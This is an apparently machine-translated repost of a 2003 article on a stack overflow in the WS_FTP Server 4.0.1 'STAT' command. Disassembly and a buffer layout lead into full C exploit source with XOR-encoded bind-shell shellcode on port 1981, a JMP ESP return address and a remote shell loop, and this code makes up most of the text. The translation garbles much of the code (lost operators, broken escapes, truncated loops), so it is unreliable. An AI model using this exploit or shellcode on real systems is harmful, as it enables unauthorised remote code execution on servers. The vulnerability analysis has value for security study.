[Actual combat] WS

xiaoxiao2021-03-06  19

WS_FTP ftpd "stat" command remote overflow analysis

Creation time: 2003-10-22

Article attribute: original

Article submission:

Eyas (Eyas_AT_XFOCUS.org)

WS_FTP ftpd "stat" command remote overflow analysis

Author: Eyas

Created: 2003-10-08

Updated: 2003-10-22

I don't know 2003-09-04 in the beginning.

Http://www.securityfocus.com/bid/8542 is announced

This vulnerability, the discoverer written above is Pejman. I am from dvdman@l33tsecurity.com when I am in October.

If you know this vulnerability, it may be that DVDMAN also discovered this vulnerability.

The following analysis is based on the WS_FTP Server 4.0.1.eval (47156314) version, only the "Stat" command overflows

Case.

In fact, when the WS_FTP is handling the stat command, many places have long judgments, but there is a place he misses,

So, our chance is coming. :)

The vulnerability function reference relationship is as follows:

LOC_41200D <- [0]

| _ SUB_41B523

| _ SUB_424BC1

| _ lstrlena <- [1]

| _ SUB_424DD8

| _ SUB_42D75F

| _ lstrcpya <- [2]

[0] Judging whether "stat" command

.TEXT: 0041200D LOC_41200D:

.TEXT: 0041200D PUSH OFFSET ASTAT_0

.text: 00412012 MOV ECX, [EBP 8]

.text: 00412015 PUSH ECX

.text: 00412016 Call __strcmpi

.TEXT: 0041201B Add ESP, 8

.text: 0041201E Test Eax, EAX

.text: 00412020 JNz Short Loc_41202F

.Text: 00412022 MOV ECX, [EBP-4]

.TEXT: 00412025 CALL SUB_41B523

.TEXT: 0041202A JMP LOC_412775

[1] Length judgment, FILE FULL PATH NAME length cannot exceed 0x200

.Text: 00424D4A MOV EAX, [EBP LPSTRING2]; OUR_BUFF

.TEXT: 00424D4D PUSH EAX; LPSTRING

.Text: 00424D4E Call DS: lstrlena

.Text: 00424D54 MOV ECX, [EBP VAR_8]; GET PATH LEN

.Text: 00424D57 Add ECX, Eax; Get Total Len

.Text: 00424D59 MOV [EBP VAR_8], ECX.TEXT: 00424D5C MOV EDX, [EBP VAR_8]

// Total Len Compare with 0x200

.TEXT: 00424D5F CMP EDX, [EBP ARG_10];

.TEXT: 00424D62 JLE SHORT LOC_424D69 / / <- NEED JMP

.Text: 00424D64 MOV EAX, [EBP VAR_4]

.TEXT: 00424D67 JMP Short Loc_424dd2 // <- EXIT!

[2] FILE FULL PATH Name Copy to Stack Buffer, Overflow !!

.TEXT: 0042D7C3 MOV EAX, [EBP 8] // <- File Full Path Name

.TEXT: 0042D7C6 Push Eax; lpstring2

.Text: 0042D7C7 Lea ECX, [EBP-0x118]

.TEXT: 0042D7CD PUSH ECX; LPSTRING1

.Text: 0042D7CE Call DS: lstrcpya

......

.TEXT: 0042DD9B RETN 8

It looks a simple stack overflow, but it is very troublesome. because:

1) We don't know the path length, so we cannot return the address to the address.

2) BUFF length can only have 0x200 (including path), overflow points in 0x118, no matter the front and back,

The space to store SC is not large, and it is not enough to get the SC of the CMD shell. Unless it is a tiny shellcode.

This is a bit like the use of IIS WebDAV overflow, but this is much simpler than WebDAV.

In fact, we can use the limit of length judgment, accurately guess the length of the path, and will not put it during the speculation.

WS_FTP is coming, and in guessing accurately overrides the JMP ESP address on the return address of the function.

How to guess the length of the path, I don't have it, you can see << WebDAV Vulnerability Simple Analysis and General Exploit Design >> This article

article.

Why not override SEH? Yes, the overflow function SUB_42D75F It is to establish an exception handler, and we

Once the SUB_42D75F function can be overwritten, the SUB_42D75F function is in subsequent operation until it returns no exception. And because

BUFF is limited, the super-level SEH covers, so we only have override to return to the address. This road can be left.

In order to write this EXP, I also modified the SC, the BUFF structure we sent is as follows:

--------------------------------------------------

| | |

| PATH | PAD1 | SC1 | JMP 0x2C | NOP ​​(0x14) | RET | NOP ​​(8) | JMP Back (5) | NOP ​​(7) | SC2 | PAD2 |

| | --------------------------------------

| <--------- 0x118 4 bytes ------> | <------- 0x200-1-0X118-4 BYTES ------> |

1) PATH is not us sent.

2) When the function RET is RETN 8, there is NOP (8).

3) After overflow, the function has two variables to be changed, so there is NOP (0x14) to skip.

4) NOP (7) for what? I don't tell you. ^ _ ^

That's all!

If there is a wrong place, please, if you have better idea, share with me? Thank you!

/ * X-ws_ftp.c - x86 / win32 ws_ftp ftpd "stat" Command Remote

* Stack Buffer overflow Exploit

*

* (C) Copyright Xfocus Security Team, 2003

* All Rights Reserved

*

* ------------------------------------------------- ----------------------

* Author: Eyas

*:

http://www.xfocus.org

* Maintain: Xfocus security team

* Version: 1.0

*

* Test: Windows 2000 Server EN

* WS_FTP Server 4.0.1.eval (46006050)

* Notes: this Vul discover by dvdman@l33tsecurity.com!

TO EXPLOIT THIS VUL, You Must Have A Account Can Login INTO WS_FTP.

* Greets: DVDMAN and All Member of Xfocus Security Team.

* COMPLIE: CL X-WS_FTP.C

* USAGE: X-WS_FTP.EXE <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-p port]

* [Type]

* 0 Win2K SP4 User32.dll

*

* Add more Targets's JMP ESP Addr by yourself,

* And the PLS Email a copy to me, thanks. :)

*

* Date: 2003-10-08

* Revised:

*

* Revise History:

*

* ------- Start Rip from DVDMan's Exp -----------------

* Vuln Versions: <= x2 WS_FTP Server 4.0.1 (1323562169)

* Vuln Commands: APPE, Stor, Stat, RMD, RNFR, RNTO, AND More

* -------- RIP end ------------------------------------ * /

#include

#include

#include

#include

#pragma comment (Lib, "WS2_32")

#define maxlen (0x200-1) // can trigger the maximum length of overflow

#define overpoint (0x118 4) // overflow point

#DEfine sc_jmp_addr_offset (0xA4 22) // SC Putting JMP Addr Offset

#define mini_path 0xf // shortest path

#define err_exp_ok 0

#define err_EXP_CONNECT -1

#define err_exp_failed 1

#define version "1.0"

// modify it by yourself

Struct

{

DWORD DWJMP;

CHAR * SZDESCRIPTION;

} Targets [] =

{

{0x77E14C29, "WIN2K SP4 User32.dll"},

}, V;

// Total = 366 (0x16e) bytes (xor with 0x93)

Unsigned char sc_bind_1981 [] =

// decoder 22 Bytes -> Dynamic Positioning Need Decoding SC Address

"/ XEB / X0F / X5B / X80 / X33 / X93 / X43 / X81 / X3B / X45 / X59 / X34 / X53 / X75 / XF4 / X74"

"/ X05 / XE8 / XEC / XFF / XFF / XFF"

// SC_BIND_1981 for 2k / xp / 2003 by EY4S

// SPECIAL VERSION for WS_FTP BASE ON V1.03.10.07

// xor with 0x93 (367 0x16f Bytes)

"/ x12 / x93 / x93 / x7a / xa4 / x92 / x93 / x93 / xcc / xf7 / x32 / xa3 / x93"

"/ X93 / X93 / X18 / XD3 / X9F / X18 / XE3 / X8F / X3E / X18 / XFB / X9B / X7B"

"/ X4A / X93 / X93 / X93 / X71 / X6A / XFB / XA0 / XA1 / X93 / X93 / XFB / XE4 / XE0 / XA1 / XCC"

"/ XC7 / X6C / XC4 / X6F / X18 / X7B / XF9 / X95 / XCA / X7B / X2C / X93 / X93 / X93 / X71 / X6A"

"/ X12 / X7F / X03 / X92 / X93 / X93 / XC7 / XFB / X91 / X91 / X93 / X93 / X6C / XC4 / X7B / XC3"

"/ XC3 / XC3 / XC3 / XF9 / X92 / XF9 / X91 / X6C / XC4 / X63 / X18 / X4B / X18 / X7F / X54 / XD6"

"/ X93 / X91 / X93 / X94 / X2e / XA0 / X53 / X1A / XD6 / X97 / XF9 / X83 / XC6 / XC0 / X6C / XC4"

"/ x67 / xc0 / xf9 / x92 / xc0 / x6c / xc4 / x6b / xc3 / xc3 / xc0 / x6c / xc4 / x6f / xc3 / x10"

"/ X7F / XCB / X18 / X67 / XA0 / X48 / XF9 / X83 / XCA / X1A / X8F / X1D / X71 / X68 / X78 / XBF" "/ xd3 / xd3 / xd3 / xd3 / xd3 / xd3 / xd3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 "

"/ XD3 / XD3 / XD3 / XD3 / X03 / X03 / X03 / X03 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3"

"/ XE9 / X35 / XD3 / XD3 / XD3 / XD3 / XD3 / XD3 / X1A / XD5 / XAB / X1A"

"/ XD5 / XAF / X1A / XD5 / XD3 / X54 / XD5 / XBF / X92 / X92 / X93 / X93 / X1E / XD5 / XD7 / XC3"

"/ XC5 / XC0 / XC0 / XC0 / XF9 / X92 / XC0 / XC0 / X1E / XD5 / XC7 / X54 / X93 / XF0 / XFE / XF7"

"/ X93 / XC3 / XC0 / X6C / XC4 / X73 / Xa0 / X53 / XDB / XC3 / X6C / XE5 / XD7 / X6C / XC4 / X4F"

"/ X10 / X57 / XCB / X6C / XC4 / X7F / X6C / XC4 / X7F / XC3 / X6C / XC4 / X4B / XC2 / X18 / XE6"

"/ xaf / x18 / x90 / x66 / xc5 / x18 / xe5 / xb3 / x90 / x66 / xa0 / x5a / xda"

"/ XD2 / X3E / X90 / X56 / XA0 / X48 / XA0 / X41 / X9C / X2D / X83 / XA9 / X45 / XE7 / X9B / X52"

"/ x58 / x88 / x78 / x7c / xa8 / x8c / xe6 / x76 / xcd / x18 / xcd / xb7 / x90"

"/ X4E / XD8 / X18 / XCD / X8F / X90 / X4E / X18 / X97 / X18 / X90 / X56 / X38"

"/ XCA / X50 / X7B / X57 / X6D / X6C / X6C / X7A / X28 / XEE / X86 / X0B / X58"

"/ XD1 / XE4 / X2B / X4F / X4E / X89 / XA0 / XBE / X87 / XC5 / X3D / X55 / XB8 / X2E / XBD / X4D"

"/ XC4 / XE1 / X37 / XB7 / X21 / XA1 / X93 / X9D / XCE / X58 / X4D / XE7 / XB1 / XF0 / X5B"

// Decode end SIGN

"/ x45 / x59 / x34 / x53";

Unsigned char * szsend [3];

Unsigned char szstat [0x1000];

Int itype;

INT IPORT = 21;

Char * ip = null, * Puser = null, * ppass = null;

CHAR User [128], Pass [128];

Void shell (int SHELL);

Void usage (char * p);

INT SendexPloit (int ipathlen);

Void main (int Argc, char ** argv)

{

INT I, IPathlen = 0, Ret;

Printf ("WS_FTP ftpd remote stack buffer overflow exp V% s / n"

"This version can increase ws_ftp server 4.0.1.eval / n"

"Vul discover by dvdman@l33tsecurity.com/n"

"Code by Eyas@xfocus.org/N" "

http://www.xfocus.net/n "

"CREATE: 2003-10-08 / N", VERSION);

IF (Argc <9)

{

USAGE (Argv [0]);

Return;

}

For (i = 1; i

{

IF (Strlen (Argv [i])! = 2)

{

USAGE (Argv [0]);

Return;

}

/ / Check if the parameters are missing

IF (i == ARGC-1)

{

USAGE (Argv [0]);

Return;

}

Switch (Argv [I] [1])

{

Case 'I':

IP = argv [i 1];

Break;

Case 'T':

ITYPE = ATOI (Argv [i 1]);

Break;

Case 'P':

Iport = ATOI (Argv [i 1]);

Break;

Case 'P':

PPASS = Argv [i 1];

Break;

Case 'u':

Puser = argv [i 1];

Break;

Case 'L':

Ipathlen = ATOI (Argv [i 1]);

Break;

}

}

IF ((! ip) || (! user) || (! pas))

{

USAGE (Argv [0]);

Printf ("[-] invalid parameter./n");

Return;

}

IF ((ITYPE <0) || (ITYPE> = SizeOf (Targets) / SizeOf (V)))))

{

USAGE (Argv [0]);

Printf ("[-] invalid type./n");

Return;

}

IF ((iPathlen> 0) && (iPathlen

{

Printf ("[-] hey, guy, mini path is% d. / n", mini_path);

Return;

}

_SnPrintf (user, sizeof (user) -1, "user% s / r / n", puse;

User [SIZEOF (USER) -1] = '/ 0';

_Snprintf (Pass, SizeOf (Pass) -1, "Pass% S / R / N", PPASS);

Pass [SizeOf (Pass) -1] = '/ 0';

Szsend [0] = User; // User

Szsend [1] = pass; // pass

Szsend [2] = SZSTAT;

Ipathlen

SendexPloit (Ipathlen);

Else

{

For (i = mini_path ;; i )

{

Ret = sendexploit (i);

Switch (re)

{

Case Err_EXP_FAILED:

Break;

Case Err_EXP_CONNECT:

Case Err_EXP_OK:

Return;

Break;

}

}

}

Return;

}

/ * ripped from test and modifed by EY4S for Win32 * /

Void shell (int SHELL)

{

Int L;

Char BUF [512];

Struct TimeVal Time; Unsigned long ul [2];

TIME.TV_SEC = 1;

TIME.TV_USEC = 0;

While (1)

{

UL [0] = 1;

UL [1] = SOCK;

L = SELECT (0, (fd_set *) & UL, NULL, NULL, & TIME);

IF (l == 1)

{

L = RECV (Sock, BUF, SIZEOF (BUF), 0);

IF (l <= 0)

{

Printf ("[-] connection closed./N");

Return;

}

L = Write (1, BUF, L);

IF (l <= 0)

{

Printf ("[-] connection closed./N");

Return;

}

}

Else

{

L = read (0, buf, sizeof (buf));

IF (l <= 0)

{

Printf ("[-] connection closed./N");

Return;

}

L = Send (SOCK, BUF, L, 0);

IF (l <= 0)

{

Printf ("[-] connection closed./N");

Return;

}

}

}

}

Void usage (char * p)

{

INT I;

Printf ("USAGE:% s <-i ip> <-t type> <-u user> <-p pass> [-l pathlen] [-p port] / n"

"[Type] / N", P);

For (i = 0; i

{

Printf ("% D / T% S / N", I, Targets [i] .szdescription;

}

}

Int SendexPloit (int ipathlen)

{

Struct SockAddr_in Sa, Server;

WSADATA WSD;

Socket S, S2;

INT I, IERR, RET, PAD1, PAD2;

Char szrecvbuff [0x1000];

INT retcode = err_exp_connect;

Printf ("/ n [ ] - = - = try type% D, Path% D. - = - = / n", ITYPE, IPATHLEN);

Memcpy (& sc_bind_1981 [sc_jmp_addr_offset], & targets [ieype] .dwjmp, 4);

MEMSET (Szstat, 0, SizeOf (Szstat);

STRCPY (SZSTAT, "STAT");

// How many bytes are calculated in the first part

// If the PATH is estimated, then the buff will exceed 0x200, and it will not overflow :)

Pad1 = overpoint - sc_jmp_addr_offset - ipathlen;

IF (PAD1 <0)

{

Printf ("[-] You can't try any more, path reach the max vaule./N"

"If you want to try longer path, Change the SC BY

Yourself./n") ;exit (1);

}

For (i = 0; i

STRCAT (SZSTAT, "A");

STRCAT (SZSTAT, SC_BIND_1981);

// How many bytes to be filled in the calculation

PAD2 = Maxlen - overpoint;

// minus the already filled

PAD2 - = (SIZEOF (SC_BIND_1981) -1-SC_JMP_ADDR_OFFSET);

IF (PAD2 <0)

{

Printf ("[-] shellcode too long./N");

Exit (1);

}

For (i = 0; i

STRCAT (SZSTAT, "B");

STRCAT (SZSTAT, "/ R / N");

IF (Strlen (SZSTAT)> = sizeof (szstat))

{

Printf ("[-] stack buffer overflow./N");

Exit (1);

}

__TRY

{

IF (WsaStartup (MakeWord (1, 1), & WSD)! = 0)

{

Printf ("[-] WSAStartup Error:% D / N", wsagetlasterror ());

__leave;

}

s = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

IF (s == invalid_socket)

{

Printf ("[-] CREATE SOCKET FAILED:% D", getLastError ());

__leave;

}

sa.sin_family = af_inet;

Sa.sin_port = HTONS (iPort);

Sa.sin_addr.s_un.s_addr = inet_addr (ip);

Irr = Connect (S, Struct SockAddr *) & Sa, Sizeof (SA));

IF (Ierr == Socket_ERROR)

{

Printf ("[-] Connect to Target: 21 Error:% D / N", getLastError ());

__leave;

}

Printf ("[ ] Connect TO% S:% D Success./N", IP, IPORT

Sleep (1000);

For (i = 0; I

{

MEMSET (Szrecvbuff, 0, Sizeof (Szrecvbuff));

Ierr = RECV (S, Szrecvbuff, SizeOf (Szrecvbuff), 0);

IF (Ierr == Socket_ERROR)

{

Printf ("[-] Recv buffer error:% d. / n", wsagetlasterror ());

__leave;

}

Printf ("[ ] RECV:% S", SzRecvbuff);

Ierr = Send (s, szsend [i], strlen (szsend [i]), 0);

IF (Ierr == Socket_ERROR)

{

Printf ("[-] Send Buffer Error:% D. / N", Wsagetlasterror ());

__leave;

}

IF (i == sizeof (szsend) / sizeof (Szsend [0]) - 1) Printf ("[ ] send shellcode% d (0x% x) bytes./n", Ierr, Ierr);

Else

Printf ("[ ] Send:% S", SZSEND [I]);

Sleep (100);

}

Printf ("[ ] Wait from Shell./N");

SLEEP (2000);

S2 = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);

Server.sin_family = af_INet;

Server.sin_port = HTONS (1981);

Server.sin_addr.s_addr = inet_addr (ip);

Ret = Connect (S2, (Struct SockAddr *) & Server, SIZEOF (Server));

IF (ret! = 0)

{

Printf ("[-] Exploit Seem Failed./N");

RETCODE = Err_EXP_FAILED;

__leave;

}

Printf ("[ ] Exploit Success! Have Fun!:) / N");

Shell (S2);

RETCODE = Err_EXP_OK;

}

__finally

{

IF (s! = invalid_socket) ClossoSocket (s);

IF (S2! = Invalid_Socket) ClossoSocket (s);

WSACLEANUP ();

}

Return Retcode;

}

转载请注明原文地址:https://www.9cbs.com/read-40983.html

New Post(0)